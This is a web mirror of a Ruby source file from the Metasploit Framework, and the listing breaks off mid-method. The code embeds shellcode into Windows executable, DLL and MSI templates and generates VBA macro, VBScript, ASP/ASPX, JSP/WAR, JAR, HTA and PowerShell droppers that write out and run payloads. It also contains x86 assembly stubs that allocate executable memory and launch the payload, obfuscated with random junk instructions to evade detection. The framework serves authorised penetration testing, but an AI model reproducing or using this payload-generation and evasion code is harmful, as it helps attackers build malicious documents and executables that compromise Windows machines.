Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe/windows/common.rb
57477 views
1
# -*- coding: binary -*-
2
module Msf::Util::EXE::Windows::Common
3
include Msf::Util::EXE::Common
4
5
def self.included(base)
6
base.extend(ClassMethods)
7
end
8
9
module ClassMethods
10
# exe_sub_method
11
#
12
# @param code [String]
13
# @param opts [Hash]
14
# @option opts [Symbol] :exe_type
15
# @option opts [String] :service_exe
16
# @option opts [Boolean] :sub_method
17
# @return [String]
18
def exe_sub_method(code,opts ={})
19
pe = self.get_file_contents(opts[:template])
20
21
case opts[:exe_type]
22
when :service_exe
23
opts[:exe_max_sub_length] ||= 8192
24
name = opts[:servicename]
25
if name
26
bo = pe.index('SERVICENAME')
27
unless bo
28
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
29
end
30
pe[bo, 11] = [name].pack('a11')
31
end
32
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
33
when :dll
34
opts[:exe_max_sub_length] ||= 4096
35
when :exe_sub
36
opts[:exe_max_sub_length] ||= 4096
37
end
38
39
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
40
41
if code.length <= opts.fetch(:exe_max_sub_length)
42
pe[bo, code.length] = [code].pack("a*")
43
else
44
raise RuntimeError, "The EXE generator now has a max size of " +
45
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
46
end
47
48
if opts[:exe_type] == :dll
49
mt = pe.index('MUTEX!!!')
50
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
51
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
52
offset = pe.index(name)
53
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
54
end
55
56
if opts[:dll_exitprocess]
57
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
58
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
59
et_index = pe.index(exit_thread)
60
if et_index
61
pe[et_index,exit_process.length] = exit_process
62
else
63
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
64
end
65
end
66
end
67
68
pe
69
end
70
71
# Clears the DYNAMIC_BASE flag for a Windows executable
72
#
73
# @param exe [String] The raw executable to be modified by the method
74
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
75
# @return [String] the modified executable
76
def clear_dynamic_base(exe, pe)
77
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
78
c_bits[6] = 0 # DYNAMIC_BASE
79
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
80
81
# PE Header Pointer offset = 60d
82
# SizeOfOptionalHeader offset = 94h
83
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
84
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
85
exe
86
end
87
88
# self.set_template_default_winpe_dll
89
#
90
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
91
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
92
#
93
# @param opts [Hash]
94
# @param arch The architecture, as one the predefined constants.
95
# @param size [Integer] The size of the payload.
96
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
97
def set_template_default_winpe_dll(opts, arch, size, flavor: nil)
98
return if opts[:template].present?
99
100
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
101
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
102
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
103
if match
104
opts[:exe_max_sub_length] = match.first
105
size_suffix = match.last
106
end
107
108
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
109
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
110
111
if flavor.present?
112
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
113
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
114
end
115
116
flavor = '_' + flavor
117
end
118
119
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
120
end
121
122
123
# Wraps an executable inside a Windows .msi file for auto execution when run
124
#
125
# @param framework [Msf::Framework] The framework of you want to use
126
# @param exe [String]
127
# @param opts [Hash]
128
# @option opts [String] :msi_template_path
129
# @option opts [String] :msi_template
130
# @return [String]
131
def to_exe_msi(framework, exe, opts = {})
132
if opts[:uac]
133
opts[:msi_template] ||= "template_windows.msi"
134
else
135
opts[:msi_template] ||= "template_nouac_windows.msi"
136
end
137
replace_msi_buffer(exe, opts)
138
end
139
140
#self.replace_msi_buffer
141
#
142
# @param pe [String]
143
# @param opts [String]
144
# @option [String] :msi_template
145
# @option [String] :msi_template_path
146
# @return [String]
147
def replace_msi_buffer(pe, opts)
148
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
149
150
if opts[:msi_template].include?(File::SEPARATOR)
151
template = opts[:msi_template]
152
else
153
template = File.join(opts[:msi_template_path], opts[:msi_template])
154
end
155
156
msi = self.get_file_contents(template)
157
158
section_size = 2**(msi[30..31].unpack('v')[0])
159
160
# This table is one of the few cases where signed values are needed
161
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
162
163
buffer_chain = []
164
165
# This is closely coupled with the template provided and ideally
166
# would be calculated from the dir stream?
167
current_secid = 5
168
169
until current_secid == -2
170
buffer_chain << current_secid
171
current_secid = sector_allocation_table[current_secid]
172
end
173
174
buffer_size = buffer_chain.length * section_size
175
176
if pe.size > buffer_size
177
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
178
end
179
180
pe_block_start = 0
181
pe_block_end = pe_block_start + section_size - 1
182
183
buffer_chain.each do |section|
184
block_start = section_size * (section + 1)
185
block_end = block_start + section_size - 1
186
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
187
msi[block_start..block_end] = pe_block
188
pe_block_start = pe_block_end + 1
189
pe_block_end += section_size
190
end
191
192
msi
193
end
194
195
# to_exe_vba
196
#
197
# @param exes [String]
198
def to_exe_vba(exes = '')
199
exe = exes.unpack('C*')
200
hash_sub = {}
201
idx = 0
202
maxbytes = 2000
203
var_base_idx = 0
204
var_base = Rex::Text.rand_text_alpha(5).capitalize
205
206
# First write the macro into the vba file
207
hash_sub[:var_magic] = Rex::Text.rand_text_alpha(10).capitalize
208
hash_sub[:var_fname] = var_base + (var_base_idx += 1).to_s
209
hash_sub[:var_fenvi] = var_base + (var_base_idx += 1).to_s
210
hash_sub[:var_fhand] = var_base + (var_base_idx += 1).to_s
211
hash_sub[:var_parag] = var_base + (var_base_idx += 1).to_s
212
hash_sub[:var_itemp] = var_base + (var_base_idx += 1).to_s
213
hash_sub[:var_btemp] = var_base + (var_base_idx += 1).to_s
214
hash_sub[:var_appnr] = var_base + (var_base_idx += 1).to_s
215
hash_sub[:var_index] = var_base + (var_base_idx += 1).to_s
216
hash_sub[:var_gotmagic] = var_base + (var_base_idx += 1).to_s
217
hash_sub[:var_farg] = var_base + (var_base_idx += 1).to_s
218
hash_sub[:var_stemp] = var_base + (var_base_idx += 1).to_s
219
hash_sub[:filename] = Rex::Text.rand_text_alpha(rand(8..15))
220
221
# Function 1 extracts the binary
222
hash_sub[:func_name1] = var_base + (var_base_idx += 1).to_s
223
224
# Function 2 executes the binary
225
hash_sub[:func_name2] = var_base + (var_base_idx + 1).to_s
226
227
hash_sub[:data] = ''
228
229
# Writing the bytes of the exe to the file
230
1.upto(exe.length) do |_pc|
231
while (c = exe[idx])
232
hash_sub[:data] << "&H#{('%.2x' % c).upcase}"
233
if idx > 1 && (idx % maxbytes) == 0
234
# When maxbytes are written make a new paragrpah
235
hash_sub[:data] << "\r\n"
236
end
237
idx += 1
238
end
239
end
240
241
read_replace_script_template('to_exe.vba.template', hash_sub)
242
end
243
244
# to_vba
245
#
246
# @param framework [Msf::Framework]
247
# @param code [String]
248
# @param opts [Hash] Unused
249
def to_vba(framework, code, opts = {})
250
hash_sub = {}
251
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
252
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
253
hash_sub[:var_rwxpage] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
254
hash_sub[:var_res] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
255
hash_sub[:var_offset] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
256
hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
257
hash_sub[:var_dwStackSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
258
hash_sub[:var_lpStartAddress] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
259
hash_sub[:var_lpParameter] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
260
hash_sub[:var_dwCreationFlags] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
261
hash_sub[:var_lpThreadID] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
262
hash_sub[:var_lpAddr] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
263
hash_sub[:var_lSize] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
264
hash_sub[:var_flAllocationType] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
265
hash_sub[:var_flProtect] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
266
hash_sub[:var_lDest] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
267
hash_sub[:var_Source] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
268
hash_sub[:var_Length] = Rex::Text.rand_text_alpha(rand(3..9)).capitalize
269
270
# put the shellcode bytes into an array
271
hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
272
273
read_replace_script_template('to_mem.vba.template', hash_sub)
274
end
275
276
# to_powershell_vba
277
#
278
# @param framework [Msf::Framework]
279
# @param arch [String]
280
# @param code [String]
281
#
282
def to_powershell_vba(framework, arch, code)
283
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
284
285
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
286
arch,
287
template_path,
288
encode_final_payload: true,
289
remove_comspec: true,
290
method: 'reflection')
291
292
# Initialize rig and value names
293
rig = Rex::RandomIdentifier::Generator.new
294
rig.init_var(:sub_auto_open)
295
rig.init_var(:var_powershell)
296
297
hash_sub = rig.to_h
298
# VBA has a maximum of 24 line continuations
299
line_length = powershell.length / 24
300
vba_psh = '"' << powershell.scan(/.{1,#{line_length}}/).join("\" _\r\n& \"") << '"'
301
302
hash_sub[:powershell] = vba_psh
303
304
read_replace_script_template('to_powershell.vba.template', hash_sub)
305
end
306
307
308
# to_exe_vba
309
#
310
# @param exes [String]
311
# @param opts [Hash]
312
# @option opts [String] :delay
313
# @option opts [String] :persists
314
# @option opts [String] :exe_filename
315
def to_exe_vbs(exes = '', opts = {})
316
delay = opts[:delay] || 5
317
persist = opts[:persist] || false
318
319
hash_sub = {}
320
hash_sub[:exe_filename] = opts[:exe_filename] || Rex::Text.rand_text_alpha(rand(8..15)) << '.exe'
321
hash_sub[:base64_filename] = Rex::Text.rand_text_alpha(rand(8..15)) << '.b64'
322
hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8..15))
323
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
324
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
325
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
326
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
327
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
328
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
329
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
330
hash_sub[:base64_shellcode] = Rex::Text.encode_base64(exes)
331
hash_sub[:var_decodefunc] = Rex::Text.rand_text_alpha(rand(8..15))
332
hash_sub[:var_xml] = Rex::Text.rand_text_alpha(rand(8..15))
333
hash_sub[:var_xmldoc] = Rex::Text.rand_text_alpha(rand(8..15))
334
hash_sub[:var_decoded] = Rex::Text.rand_text_alpha(rand(8..15))
335
hash_sub[:var_adodbstream] = Rex::Text.rand_text_alpha(rand(8..15))
336
hash_sub[:var_decodebase64] = Rex::Text.rand_text_alpha(rand(8..15))
337
hash_sub[:init] = ''
338
339
if persist
340
hash_sub[:init] << "Do\r\n"
341
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
342
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
343
hash_sub[:init] << "Loop\r\n"
344
else
345
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
346
end
347
348
read_replace_script_template('to_exe.vbs.template', hash_sub)
349
end
350
351
# to_exe_asp
352
#
353
# @param exes [String]
354
# @param opts [Hash] Unused
355
def to_exe_asp(exes = '', opts = {})
356
hash_sub = {}
357
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4..7)) # repeated a large number of times, so keep this one small
358
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8..15))
359
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8..15))
360
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8..15))
361
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8..15))
362
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8..15))
363
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
364
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
365
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
366
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
367
read_replace_script_template('to_exe.asp.template', hash_sub)
368
end
369
370
# self.to_exe_aspx
371
#
372
# @param exes [String]
373
# @option opts [Hash]
374
def to_exe_aspx(exes = '', opts = {})
375
hash_sub = {}
376
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8..15))
377
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8..15))
378
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8..15))
379
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8..15))
380
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8..15))
381
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8..15))
382
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
383
hash_sub[:shellcode] = Rex::Text.to_csharp(exes, 100, hash_sub[:var_file])
384
read_replace_script_template('to_exe.aspx.template', hash_sub)
385
end
386
387
def to_mem_aspx(framework, code, exeopts = {})
388
# Initialize rig and value names
389
rig = Rex::RandomIdentifier::Generator.new
390
rig.init_var(:var_funcAddr)
391
rig.init_var(:var_hThread)
392
rig.init_var(:var_pInfo)
393
rig.init_var(:var_threadId)
394
rig.init_var(:var_bytearray)
395
396
hash_sub = rig.to_h
397
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
398
399
read_replace_script_template('to_mem.aspx.template', hash_sub)
400
end
401
402
def to_win32pe_psh_net(framework, code, opts = {})
403
Rex::Powershell::Payload.to_win32pe_psh_net(Rex::Powershell::Templates::TEMPLATE_DIR, code)
404
end
405
406
def to_win32pe_psh(framework, code, opts = {})
407
Rex::Powershell::Payload.to_win32pe_psh(Rex::Powershell::Templates::TEMPLATE_DIR, code)
408
end
409
410
#
411
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
412
# Tweaked by shellster
413
# Originally from PowerSploit
414
#
415
def to_win32pe_psh_reflection(framework, code, opts = {})
416
Rex::Powershell::Payload.to_win32pe_psh_reflection(Rex::Powershell::Templates::TEMPLATE_DIR, code)
417
end
418
419
def to_powershell_command(framework, arch, code)
420
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
421
Rex::Powershell::Command.cmd_psh_payload(code,
422
arch,
423
template_path,
424
encode_final_payload: true,
425
method: 'reflection')
426
end
427
428
def to_powershell_ducky_script(framework, arch, code)
429
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
430
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
431
arch,
432
template_path,
433
encode_final_payload: true,
434
method: 'reflection')
435
replacers = {}
436
replacers[:var_payload] = powershell
437
read_replace_script_template('to_powershell.ducky_script.template', replacers)
438
end
439
440
def to_powershell_hta(framework, arch, code)
441
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
442
443
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
444
arch,
445
template_path,
446
encode_final_payload: true,
447
remove_comspec: true,
448
method: 'reflection')
449
450
# Initialize rig and value names
451
rig = Rex::RandomIdentifier::Generator.new
452
rig.init_var(:var_shell)
453
rig.init_var(:var_fso)
454
455
hash_sub = rig.to_h
456
hash_sub[:powershell] = powershell
457
458
read_replace_script_template('to_powershell.hta.template', hash_sub)
459
end
460
461
def to_jsp(exe)
462
hash_sub = {}
463
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8..15))
464
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8..15))
465
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8..15))
466
hash_sub[:var_payloadlength] = Rex::Text.rand_text_alpha(rand(8..15))
467
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8..15))
468
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8..15))
469
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8..15))
470
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8..15))
471
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8..15))
472
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8..15))
473
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8..15))
474
475
payload_hex = exe.unpack('H*')[0]
476
hash_sub[:payload] = payload_hex
477
478
read_replace_script_template('to_exe.jsp.template', hash_sub)
479
end
480
481
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
482
# payload. The jsp page converts the hexdump back to a normal binary file
483
# and places it in the temp directory. The payload file is then executed.
484
#
485
# @see to_war
486
# @param exe [String] Executable to drop and run.
487
# @param opts (see to_war)
488
# @option opts (see to_war)
489
# @return (see to_war)
490
def to_jsp_war(exe, opts = {})
491
template = to_jsp(exe)
492
to_war(template, opts)
493
end
494
495
def to_win32pe_vbs(framework, code, opts = {})
496
to_exe_vbs(to_win32pe(framework, code, opts), opts)
497
end
498
499
def to_win64pe_vbs(framework, code, opts = {})
500
to_exe_vbs(to_win64pe(framework, code, opts), opts)
501
end
502
503
# Creates a jar file that drops the provided +exe+ into a random file name
504
# in the system's temp dir and executes it.
505
#
506
# @see Msf::Payload::Java
507
#
508
# @return [Rex::Zip::Jar]
509
def to_jar(exe, opts = {})
510
spawn = opts[:spawn] || 2
511
exe_name = Rex::Text.rand_text_alpha(8) + '.exe'
512
zip = Rex::Zip::Jar.new
513
zip.add_sub('metasploit') if opts[:random]
514
paths = [
515
[ 'metasploit', 'Payload.class' ],
516
]
517
518
zip.add_file('metasploit/', '')
519
paths.each do |path_parts|
520
path = ['java', path_parts].flatten.join('/')
521
contents = ::MetasploitPayloads.read(path)
522
zip.add_file(path_parts.join('/'), contents)
523
end
524
525
zip.build_manifest main_class: 'metasploit.Payload'
526
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
527
zip.add_file('metasploit.dat', config)
528
zip.add_file(exe_name, exe)
529
530
zip
531
end
532
533
# Creates a .NET DLL which loads data into memory
534
# at a specified location with read/execute permissions
535
# - the data will be loaded at: base+0x2065
536
# - default max size is 0x8000 (32768)
537
# @param base [Integer] Default location set to base 0x12340000
538
# @param data [String]
539
# @param opts [Hash]
540
# @option [String] :template
541
# @option [String] :base_offset
542
# @option [String] :timestamp_offset
543
# @option [String] :text_offset
544
# @option [String] :pack
545
# @option [String] :uuid_offset
546
# @return [String]
547
def to_dotnetmem(base = 0x12340000, data = '', opts = {})
548
# Allow the user to specify their own DLL template
549
set_template_default(opts, 'dotnetmem.dll')
550
551
pe = get_file_contents(opts[:template])
552
553
# Configure the image base
554
base_offset = opts[:base_offset] || 180
555
pe[base_offset, 4] = [base].pack('V')
556
557
# Configure the TimeDateStamp
558
timestamp_offset = opts[:timestamp_offset] || 136
559
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
560
561
# XXX: Unfortunately we cant make this RWX only RX
562
# Mark this segment as read-execute AND writable
563
# pe[412,4] = [0xe0000020].pack("V")
564
565
# Write the data into the .text segment
566
text_offset = opts[:text_offset] || 0x1065
567
text_max = opts[:text_max] || 0x8000
568
pack = opts[:pack] || 'a32768'
569
pe[text_offset, text_max] = [data].pack(pack)
570
571
# Generic a randomized UUID
572
uuid_offset = opts[:uuid_offset] || 37656
573
pe[uuid_offset, 16] = Rex::Text.rand_text(16)
574
575
pe
576
end
577
578
# This wrapper is responsible for allocating RWX memory, copying the
579
# target code there, setting an exception handler that calls ExitProcess
580
# and finally executing the code.
581
def win32_rwx_exec(code)
582
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
583
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
584
arch: ARCH_X86,
585
name: 'api_call'
586
)
587
588
stub_exit = %^
589
; Input: EBP must be the address of 'api_call'.
590
; Output: None.
591
; Clobbers: EAX, EBX, (ESP will also be modified)
592
; Note: Execution is not expected to (successfully) continue past this block
593
594
exitfunk:
595
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
596
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
597
mov eax, ebp
598
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
599
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
600
jl goodbye ; Then just call the exit function...
601
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
602
jne goodbye ;
603
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
604
goodbye: ; We now perform the actual call to the exit function
605
push byte 0 ; push the exit function parameter
606
push ebx ; push the hash of the exit function
607
call ebp ; call EXITFUNK( 0 );
608
^
609
610
stub_alloc = %^
611
cld ; Clear the direction flag.
612
call start ; Call start, this pushes the address of 'api_call' onto the stack.
613
delta: ;
614
#{stub_block}
615
start: ;
616
pop ebp ; Pop off the address of 'api_call' for calling later.
617
618
allocate_size:
619
mov esi, #{code.length}
620
621
allocate:
622
push byte 0x40 ; PAGE_EXECUTE_READWRITE
623
push 0x1000 ; MEM_COMMIT
624
push esi ; Push the length value of the wrapped code block
625
push byte 0 ; NULL as we dont care where the allocation is.
626
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
627
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
628
629
mov ebx, eax ; Store allocated address in ebx
630
mov edi, eax ; Prepare EDI with the new address
631
mov ecx, esi ; Prepare ECX with the length of the code
632
call get_payload
633
got_payload:
634
pop esi ; Prepare ESI with the source to copy
635
rep movsb ; Copy the payload to RWX memory
636
call set_handler ; Configure error handling
637
638
exitblock:
639
#{stub_exit}
640
set_handler:
641
xor eax,eax
642
push dword [fs:eax]
643
mov dword [fs:eax], esp
644
call ebx
645
jmp exitblock
646
^
647
648
stub_final = %(
649
get_payload:
650
call got_payload
651
payload:
652
; Append an arbitrary payload here
653
)
654
655
stub_alloc.gsub!('short', '')
656
stub_alloc.gsub!('byte', '')
657
658
wrapper = ''
659
# regs = %W{eax ebx ecx edx esi edi ebp}
660
661
cnt_jmp = 0
662
stub_alloc.each_line do |line|
663
line.gsub!(/;.*/, '')
664
line.strip!
665
next if line.empty?
666
667
wrapper << "nop\n" if rand(2) == 0
668
669
if rand(2) == 0
670
wrapper << "jmp autojump#{cnt_jmp}\n"
671
1.upto(rand(8..15)) do
672
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
673
end
674
wrapper << "autojump#{cnt_jmp}:\n"
675
cnt_jmp += 1
676
end
677
wrapper << line + "\n"
678
end
679
680
wrapper << stub_final
681
682
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
683
enc.data + code
684
end
685
686
# This wrapper is responsible for allocating RWX memory, copying the
687
# target code there, setting an exception handler that calls ExitProcess,
688
# starting the code in a new thread, and finally jumping back to the next
689
# code to execute. block_offset is the offset of the next code from
690
# the start of this code
691
def win32_rwx_exec_thread(code, block_offset, which_offset = 'start')
692
stub_block = Rex::Payloads::Shuffle.from_graphml_file(
693
File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
694
arch: ARCH_X86,
695
name: 'api_call'
696
)
697
698
stub_exit = %^
699
; Input: EBP must be the address of 'api_call'.
700
; Output: None.
701
; Clobbers: EAX, EBX, (ESP will also be modified)
702
; Note: Execution is not expected to (successfully) continue past this block
703
704
exitfunk:
705
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} ; The EXITFUNK as specified by user...
706
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} ; hash( "kernel32.dll", "GetVersion" )
707
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
708
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
709
jl goodbye ; Then just call the exit function...
710
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
711
jne goodbye ;
712
mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
713
goodbye: ; We now perform the actual call to the exit function
714
push byte 0 ; push the exit function parameter
715
push ebx ; push the hash of the exit function
716
call ebp ; call EXITFUNK( 0 );
717
^
718
719
stub_alloc = %^
720
pushad ; Save registers
721
cld ; Clear the direction flag.
722
call start ; Call start, this pushes the address of 'api_call' onto the stack.
723
delta: ;
724
#{stub_block}
725
start: ;
726
pop ebp ; Pop off the address of 'api_call' for calling later.
727
728
allocate_size:
729
mov esi,#{code.length}
730
731
allocate:
732
push byte 0x40 ; PAGE_EXECUTE_READWRITE
733
push 0x1000 ; MEM_COMMIT
734
push esi ; Push the length value of the wrapped code block
735
push byte 0 ; NULL as we dont care where the allocation is.
736
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} ; hash( "kernel32.dll", "VirtualAlloc" )
737
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
738
739
mov ebx, eax ; Store allocated address in ebx
740
mov edi, eax ; Prepare EDI with the new address
741
mov ecx, esi ; Prepare ECX with the length of the code
742
call get_payload
743
got_payload:
744
pop esi ; Prepare ESI with the source to copy
745
rep movsb ; Copy the payload to RWX memory
746
call set_handler ; Configure error handling
747
748
exitblock:
749
#{stub_exit}
750
751
set_handler:
752
xor eax,eax
753
; push dword [fs:eax]
754
; mov dword [fs:eax], esp
755
push eax ; LPDWORD lpThreadId (NULL)
756
push eax ; DWORD dwCreationFlags (0)
757
push eax ; LPVOID lpParameter (NULL)
758
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
759
push eax ; SIZE_T dwStackSize (0 for default)
760
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
761
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateThread')} ; hash( "kernel32.dll", "CreateThread" )
762
call ebp ; Spawn payload thread
763
764
pop eax ; Skip
765
; pop eax ; Skip
766
pop eax ; Skip
767
popad ; Get our registers back
768
; sub esp, 44 ; Move stack pointer back past the handler
769
^
770
771
stub_final = %(
772
get_payload:
773
call got_payload
774
payload:
775
; Append an arbitrary payload here
776
)
777
778
stub_alloc.gsub!('short', '')
779
stub_alloc.gsub!('byte', '')
780
781
wrapper = ''
782
# regs = %W{eax ebx ecx edx esi edi ebp}
783
784
cnt_jmp = 0
785
cnt_nop = 64
786
787
stub_alloc.each_line do |line|
788
line.gsub!(/;.*/, '')
789
line.strip!
790
next if line.empty?
791
792
if cnt_nop > 0 && rand(4) == 0
793
wrapper << "nop\n"
794
cnt_nop -= 1
795
end
796
797
if cnt_nop > 0 && rand(16) == 0
798
cnt_nop -= 2
799
cnt_jmp += 1
800
801
wrapper << "jmp autojump#{cnt_jmp}\n"
802
1.upto(rand(1..8)) do
803
wrapper << "db 0x#{'%.2x' % rand(0x100)}\n"
804
cnt_nop -= 1
805
end
806
wrapper << "autojump#{cnt_jmp}:\n"
807
end
808
wrapper << line + "\n"
809
end
810
811
# @TODO: someone who knows how to use metasm please explain the right way to do this.
812
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
813
wrapper << stub_final
814
815
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
816
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
817
res = enc.data + code
818
819
if which_offset == 'start'
820
res[soff, 4] = [block_offset - (soff + 4)].pack('V')
821
elsif which_offset == 'end'
822
res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V')
823
else
824
